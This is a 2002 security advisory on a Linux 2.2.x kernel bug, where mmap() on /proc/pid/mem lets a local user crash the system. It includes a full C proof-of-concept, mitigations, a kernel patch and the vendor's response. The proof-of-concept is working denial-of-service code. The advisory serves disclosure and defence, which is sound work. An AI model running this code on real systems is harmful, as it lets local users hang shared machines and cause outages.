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RAZOR advisory: Linux 2.2.xx /proc/<pid>/mem mmap() vulnerability
From: Michal Zalewski <lcamtuf () ghettot org>
Date: Tue, 17 Dec 2002 13:02:18 -0800 (PST)


RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability

   Issue Date : 12/17/2002
   Contact    : Michal Zalewski <mzalewsk () razor bindview com>
   CVE number : CAN-2002-1380

Topic:

   A locally exploitable system crash vulnerability is present in the
   Linux kernel, versions 2.2.x. The system is likely to hang and
   require a manual reboot.

Affected Systems:

   All Linux systems running 2.2.x kernels. The functionality required
   to exploit this vulnerability is not present in the 2.4.x line as of
   today, and those systems are not immediately vulnerable.

Details:

   The /proc/pid/mem interface is designed to enable one application to,
   under certain conditions, access the memory of another application in
   a convenient way. This feature is very useful for developers or
   administrators who wish to debug or analyze programs running on their
   system. One of ways to access the memory is by directly mapping pages
   using mmap().

   A vulnerability is present in the way this process is validated. It is
   possible for the user to use mmap() interface to request access to memory
   pages that are non-readable to the traced process itself. The user can
   pass PROT_READ parameter to this call to request read access to this
   mapping. Because of insufficient validation, he will be granted a map
   marked as readable. From now on, the user can request his instance to be
   read by the kernel. Doing so will result in crashing the system.

   The problem does not affect 2.4 kernels because, as of today, mmap() on
   /proc/pid/mem is not supported; mmap() interface is no longer available
   on 2.4 because of implementation reliability concerns.

Proof of concept code:

   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }

Mitigating factors:

   In order to successfully exploit the vulnerability, the attacker would
   need to have the right to execute code of his choice on the local machine.

   Restricting ptrace() or /proc access can help mitigate the risk. Several
   security-enhancing patches such as Openwall or grsecurity offer solutions
   to implement such restrictions.

Workaround / fix:

   There is no immediate fix available. Kernel developers suggest to disable
   mmap() functionality on /proc/pid/mem to address the issue. The following
   patch can be used:

--- linux-2.2/fs/proc/mem.c.old         Sun Mar 25 08:30:58 2001
+++ linux-2.2/fs/proc/mem.c             Tue Dec 10 14:29:05 2002
@@ -323,7 +323,7 @@
        NULL,           /* mem_readdir */
        NULL,           /* mem_poll */
        NULL,           /* mem_ioctl */
-       mem_mmap,       /* mmap */
+       NULL,           /* mmap */
        NULL,           /* no special open code */
        NULL,           /* flush */
        NULL,           /* no special release code */

   Administrators who prefer to patch their systems without the need to
   recompile and reboot, and do not rely on having ptrace() interface
   available to all users, can deploy a loadable module that disables
   ptrace() for non-privileged accounts instead. One of such modules
   can be obtained at http://www.securiteam.com/tools/5SP082K5GK.html .

   Please note that this third-party kernel module is not authored nor
   endorsed by RAZOR, and that compilation and installation of kernel modules
   should be performed by experienced users only.

Vendor Response:

   Because of implementation reliability issues, Linux developers decided to
   drop /proc/pid/mem mmap() functionality in 2.2 kernels. There will be no
   fix for the issue that preserves the functionality.

   Upcoming 2.2.24 release will address this and other bugs in 2.2 kernels.







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